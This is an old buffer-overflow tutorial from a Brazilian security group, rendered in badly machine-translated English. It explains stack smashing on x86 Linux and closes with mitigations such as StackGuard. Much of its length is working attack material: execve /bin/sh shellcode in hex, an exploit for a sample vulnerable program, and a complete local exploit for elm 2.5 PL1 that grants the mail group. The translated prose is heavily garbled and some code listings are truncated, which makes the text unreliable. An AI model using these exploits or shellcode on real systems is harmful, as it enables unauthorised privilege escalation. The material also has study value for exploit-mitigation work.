INSIDE TO BUFFERS OVERFLOWS ~~~~~~~ ~~~~~~ ~~~~~~~ ~~~~ 10.02.2000 written by cync MBC SECURITY LABS Agradece a grafspee, drk, SkyLaZarT, oldm, Jans_, X-LyNx, Panic, VetesGirl, codak, irwx, gid and strncpy. All rights reserved to: mbc security labs. -[ introduction ]------------------------------------------------------ We dedicate to this text to all those that feel necessity to get one " background " in buffers overflows, thus stimulating the fetching and I continue it study, prioritizing the true knowledge. Numberous related attacks the problems with buffer overflows has been reported and varios programs still will count this type of bug, that and ' one of gran DES factors related to the illegal access information. The clarification of this type of attack if makes of great importance all that work with seguran This document have as objective to explain some avanced tecniques of Buffer Overflow in boxes Intel/x86 Linux. To read and to use to advantage to maxium the content of this necessary document are 3 basic factors: [ # ] Knowledge of Assembler, C and Linux. [ # ] Possuir some base / concept with relacao the Overflows Buffer. One more time, as all txt's on buffer overflow, sends regards reading to it of Phrack 49, article 14 (Smashing The Stack). One otimo work carried through for AlephOne. -[ Linux & ASM ]------------------------------------------------------------ A general mode you do not need to use assembler in if treating to program for Linux. Different of the one Of voce^ nao eh obliged to write drivers for Linux in assembler (What eh made in C). " You need to use assembler or voce can want to use assembler. " [ Some Diferencas ] * Syntax At&t: As the GAS(GNU ASSEMBLER) was created to support compilers 32-bit UNIX, it uses the syntax AT&T padrao. This worse, nor better of the one than the syntax Intel, it and ' only different syntax nao and ', when voce ja will be using, finds well more regular, to put a little boat. * Some Diferencas of Syntax AT&T/INTEL: 1. Name of the registers veem folloied of prefix %: AT&T: %eax Intel: eax 2. The order, Origem/Destino: In the syntax AT&T the origin this always in the left and the destination in the right. former: we go to load ebx with the value of eax: AT&T: movl %eax, %ebx Intel: mov ebx, eax 3. Format of values constantes/imediatos r0x Must come folloied of one " $ ". Goes to load eax with endereco of variavel " C ", that eh estatica. AT&T: movl $_r0x, %eax Intel: mov eax, _ r0x Loading ebx with 0xd00d: AT&T: movl $0xd00d, %ebx Intel: mov ebx, d00dh 4. Size of the operator Each instrucao comes folloied of a suffix, that can be: b, w or l. They specify the size of operating. Suffix b and ' for (8-bit) byte, w and ' for (16-bit) word, and l and ' for (32-bit) long the optional suffixes sao when the size can ' be guessed ' by the operandos -[ Buffers Overflows ]----------------------------------------------------- I begin it of the buffer overflow well simple eh. Eh resulted of when if poe more given in a buffer of that it can support. Frequent had the errors in programacao, we can take advantage for execucao of codigo arbitrarios. To long the text voce anger to absorb all better these concepts, eh important that voce gives atencao and in case of doubts rereads and reflects. ps(duh: \): A buffer eh a simple tablet of memoria that stores multiplas solicitacoes of one same type of data. STACK: Main funcao of the CPU eh the processing and movimentacao of data. While she processes these data it needs a place quickly to save informacoes important due to the limited espaco of the registers (" celulas of memoria "). This informacao eh saved in stack, one has left very special of the memoria that can be had access with some instrucoes in assembler. Stack eh variavel in tamanhoe posicao. The first thing kept in stack sera finishes it to be chore, and it finishes to be kept it sera the first one to be chore, this system eh called LIFO, or " last in, first out " (I finish, first sair) inside, we go to an example, we go to execute a program (in case, to obtain root more late, hehe), as stack would seem when the process would call its dinamicas variaveis? . : ... . |-----------------------: -2048 bytes | local array1[1024] | ... |-----------------------| -1024 bytes | local array2[1024] | size 1024 bytes |-----------------------| posicao atual do stack | base pointer | size 4 bytes |-----------------------| +4 bytes | return adress | size 4 bytes |-----------------------| +4 bytes : parametros ... | ... . : The different variables are, and information is kept in stack, all cpu uses one ' stack to pointer ', to mark posicao current, eh called SP. analizadas the parts to be serao the ' place array2 ' and ' return adress ', so this eh necessario for terms root. [ ABUSING RETURN ADDRESS... ] Remembering, when eh executed something, safe CPU one ' return adress ' in staSe the process eh finished, cpu polishes and finds ' return adress '. but, if more bytes in one variavel local to the safe process of that its normal size, anger to happen the ' overwrite ', anger to sobrescrever ' return adress ' old, and thus sera nominated ' overflow '. If (1024+8)1032 times character " x " will be written in array2 local, proces- so anger to write ' return again adress '. e stack anger to seem: . : ... . . |-----------------------: -2048 bytes | local array1[1024] | ... |-----------------------| -1024 bytes | 1024 times "X" | size 1024 bytes |-----------------------| posicao atual do stack | 4 times "X" | size 4 bytes |-----------------------| +4 bytes | 4 times "X" | size 4 bytes |-----------------------| +4 bytes : parametros ... | ... . : Thus, now in them we will be able to forcar the program to jump where in quizermos them! very interesting anger sera we will be able to create one codigo in the ' variable place '. : ... . |-----------------------: -2048 bytes | local array1[1024] | |-----------------------| -1024 bytes | our code | < - |-----------------------| | |-----------------------| | posicao atual do stack | 4 bytes de lixo | | |-----------------------| | +4 bytes | jmp pro codigo | ___| |-----------------------| +4 bytes : parametros ... | . : [ Executing shell in assembler or c ] If ours codigo executes one shell normal, and in them we create the overflow program, we will be able to have all the privilegios of root.nos we will need now, eh of small codigo in assembler that anger to execute shell, nao eh necessario exactly to execute shell, but, in this in case that, oque interests eh root. he, voce can obtain shell in assembler, or compile it in ' c ', with denominacao of ' execshell '. [ SHELLCODE ] Agora ja we know that we can modify ' return address ' and the stream of execucao, what we want that the program executes? In the majority of the cases in we want q to them code gets one shell. From shell we can use our creativity... Summarizing, shellcode eh basically one serie of commands in assembler that in them we write in stack and entao we change ' return address ' to come back to stack. Thus, we can insert ours inside instrucao of a process vulneravel and entao executes it, accurately in stack. Our objective now eh to generate one codigo in assembler, that executes one shell. Well, a comumente used one system call, eh execve(), it loads and wheel which wants binario, finishing execucao it current process. cync[tty7/1][~]$man execve (Please page Reads with atencao man) We now go to get the details of this syscall of glibc2 cync[tty7/1][~]$gdb /lib/libc.so.6 (gdb) disas execve Dump of assembler code for function __execve: 0x8e950 <__execve>: pushl %ebx 0x8e951 <__execve+1>: movl 0x10(%esp,1),%edx 0x8e955 <__execve+5>: movl 0xc(%esp,1),%ecx 0x8e959 <__execve+9>: movl 0x8(%esp,1),%ebx 0x8e95d <__execve+13>: movl $0xb,%eax 0x8e962 <__execve+18>: int $0x80 0x8e964 <__execve+20>: popl %ebx 0x8e965 <__execve+21>: cmpl $0xfffff001,%eax 0x8e96a <__execve+26>: jae 0x8e96d <__execve+29> 0x8e96c <__execve+28>: ret 0x8e96d <__execve+29>: pushl %ebx 0x8e96e <__execve+30>: call 0x8e973 <__execve+35> 0x8e973 <__execve+35>: popl %ebx 0x8e974 <__execve+36>: xorl %edx,%edx 0x8e976 <__execve+38>: addl $0x5b861,%ebx 0x8e97c <__execve+44>: subl %eax,%edx 0x8e97e <__execve+46>: pushl %edx 0x8e97f <__execve+47>: call 0x175e0 0x8e984 <__execve+52>: popl %ecx 0x8e985 <__execve+53>: popl %ebx 0x8e986 <__execve+54>: movl %ecx,(%eax) 0x8e988 <__execve+56>: orl $0xffffffff,%eax 0x8e98b <__execve+59>: jmp 0x8e96c <__execve+28> look this: ./shellcod /bin/sh main() { __asm__(" jmp 0x1f popl %esi movl %esi,0x8(%esi) xorl %eax,%eax movb %eax,0x7(%esi) movl %eax,0xc(%esi) movb $0xb,%al movl %esi,%ebx leal 0x8(%esi),%ecx leal 0xc(%esi),%edx int $0x80 xorl %ebx,%ebx movl %ebx,%eax inc %eax int $0x80 call -0x24 .string \"/bin/sh\""); } -----------------( hex code )-- char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89" "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c" "\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff" "\xff\xff/bin/sh" It perceived the play, we have one shellcode gotten from otimizacao of codigo in assembler that only represents execucao of one / bin/sh. Diverse types of shellcode exist, each one with its objective specify. [ EXAMPLE 1 PRACTICE ] vulneravel.c #include #include int main(int argc,int **argv) { char buffer[1024]; int i; if(argc>1) { for(i=0;i #include #define ALIGN 0 #define OFFSET 0 #define RET_POSITION 1024 #define RANGE 20 #define NOP 0x90 char shellcode[]= "\xeb\x38" /* jmp 0x38 */ "\x5e" /* popl %esi */ "\x80\x46\x01\x50" /* addb $0x50,0x1(%esi) */ "\x80\x46\x02\x50" /* addb $0x50,0x2(%esi) */ "\x80\x46\x03\x50" /* addb $0x50,0x3(%esi) */ "\x80\x46\x05\x50" /* addb $0x50,0x5(%esi) */ "\x80\x46\x06\x50" /* addb $0x50,0x6(%esi) */ "\x89\xf0" /* movl %esi,%eax */ "\x83\xc0\x08" /* addl $0x8,%eax */ "\x89\x46\x08" /* movl %eax,0x8(%esi) */ "\x31\xc0" /* xorl %eax,%eax */ "\x88\x46\x07" /* movb %eax,0x7(%esi) */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */ "\xb0\x0b" /* movb $0xb,%al */ "\x89\xf3" /* movl %esi,%ebx */ "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */ "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */ "\xcd\x80" /* int $0x80 */ "\x31\xdb" /* xorl %ebx,%ebx */ "\x89\xd8" /* movl %ebx,%eax */ "\x40" /* inc %eax */ "\xcd\x80" /* int $0x80 */ "\xe8\xc3\xff\xff\xff" /* call -0x3d */ "\x2f\x12\x19\x1e\x2f\x23\x18"; /* .string "/bin/sh" */ /* /bin/sh is disguised */ unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } main(int argc,char **argv) { char buff[RET_POSITION+RANGE+ALIGN+1],*ptr; long addr; unsigned long sp; int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1; int i; if(argc>1) offset=atoi(argv[1]); sp=get_sp(); addr=sp-offset; for(i=0;i>8; buff[i+ALIGN+2]=(addr&0x00ff0000)>>16; buff[i+ALIGN+3]=(addr&0xff000000)>>24; } for(i=0;i bash# gdb /usr/bin/elm core -> gdb> info to register -> ps: of one looked at in endereco of %esp;) Gerando o core... elm -f `perl -e 'printf "x" x 300'` <- (sobrescrevendo return address) --[ cut here ]-------------------------------------------------------------- /* elm 2.5 PL1 local exploit, (c) 1999 aux-tech [www.aux-tech.org] * code by drk, drk@aux-tech.org * * gives you egid 'mail' * * works on slackware 3.5, 3.6, 3.9, 4.0, 7.0 * greets: aghi, visi0n, cryonic, strfry, sgi, x5, and all ppl from aux * MBC Security LABS: cync, drk, SkyLaZarT, oldm */ #include #include #include #define ELMPATH "/usr/local/bin/elm" // CHANGE @!# /* shellcode ... ou seja .. e' basicamente um conjunto de codigos * hexa-decimais * especificos de uma plataforma no qual consiste na execucao de uma "shell". */ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; /* funcao no qual so' se aplica a exploits locais .. seu objetivo e' "achar" * o endereco do topo da stack para que este mesmo endereco possa ser * reescrito com codigos arbitrarios. */ long get_esp(void) { __asm__("movl %esp,%eax\n"); } /* funcao principal */ void main( int argc, char **argv ) { char *buff, *ptr; int offset=0, bsize=300, i; unsigned long sp,addr; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); buff = malloc(bsize); if(!buff) { perror("malloc()"); exit(0); } /* chama a funcao get_esp() para que ela retorne o endereco do topo da stack */ addr = (sp = get_esp()) - offset; /* creditos :) */ printf("elm 2.5 PL1 exploit (linux) by drk, drk@aux-tech.org\n"); printf("addr: [0x%x], bsize: [%i], offset: [%i]\n", addr,bsize,offset); /* byte shifting */ for (i = 0; i < bsize; i+=4) { buff[i ] = (addr & 0x000000ff); buff[i+1] = (addr & 0x0000ff00)>>8; buff[i+2] = (addr & 0x00ff0000)>>16; buff[i+3] = (addr & 0xff000000)>>24; } /* matematica pura :) */ for (i = 0; i < (bsize/2); i++) buff[i] = 0x90; ptr = buff + ((bsize/2) - (strlen(shellcode)/2)); for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; /* execute :) */ execl(ELMPATH, "elm","-f", buff, NULL); } ---[ SKIRTING THE PROBLEM ]------------------------------------------ We know entao that attacks of the type Buffer Overflow explore the ausencia of " bound checkings " in the size of input to be storaged in the buffer, being thus part of the problem meets in the writing of codigo for the programmer, ja that in the language C, funcoes such as gets and strcpy nao makes " bounds checkings ", being this padrao defined in ANSI C. Funcao strcpy nao verifies the size of the data sent p / it by means of any arguments, therefore it exists the possibility of if sobrescrevera endereco of arbitrario rollback and execucao of codigo. [ Tools ] [ ~ ] StackGuard: Becoming the safe STACK. StackGuard and ' one extensao of compiler who optimizes codigo executavel, being capable to detect attacks against the area of stack StackGuard prevents mudancas in endereco of rollback and ' the sobrescritano ties exactly ' endereco of rollback, atraves of implementacao of patch in the GCC. [ ~ ] the Solar Designer, author of the celebrity John The Ripper, liberates patches for kernel, that [ tambem acts of form to previnir attacks of buffer_overflows in areade stack. www.openwall.com.br ] [ ~ ] One another tool that acts of different form, and ' that it must be pointed as an alternative and ' Virtual eXecuting Environment (VXE). We know that when one programs wheel with suid, it can have access all fontesso system, vXe creates virtual environments for each program and its subprocessosrestringindo the certain use of syscalls of kernel that they come to compromise segu ranca, being possivel to manipulate nivel of restricoes desired by admnistra pain of the system. Greaters informacoes: http://www.intes.odessa.ua/vxe /*-----------------------------------------------*/ [Conclusion] Well personal, I wait to have last the subject of a form that all those that " breathe " c could understand in a good one, to put reflexao on what it was commented above if makes necessario to concentrate the conteudo. Those that to want to go deep nao more leave to read txt of the Aleph1, and ' really an excellent work. This small txt, only approaches in general mode questao, voce must be gone deep for really " catching the skill of the thing ". --[ Duvidas ou Sugestoes ]-------------------------------------- e-mail stops: fsaraiva@mbc-corp.com.br [ Bibliography ]: exploits.txt [ Mixter ] Smashing The Stack Will be Fun And Profit [ Aleph1 ] to adv.overflow.paper - Written by Taeho Oh. ---------------------------------------------------------------[MBC]---------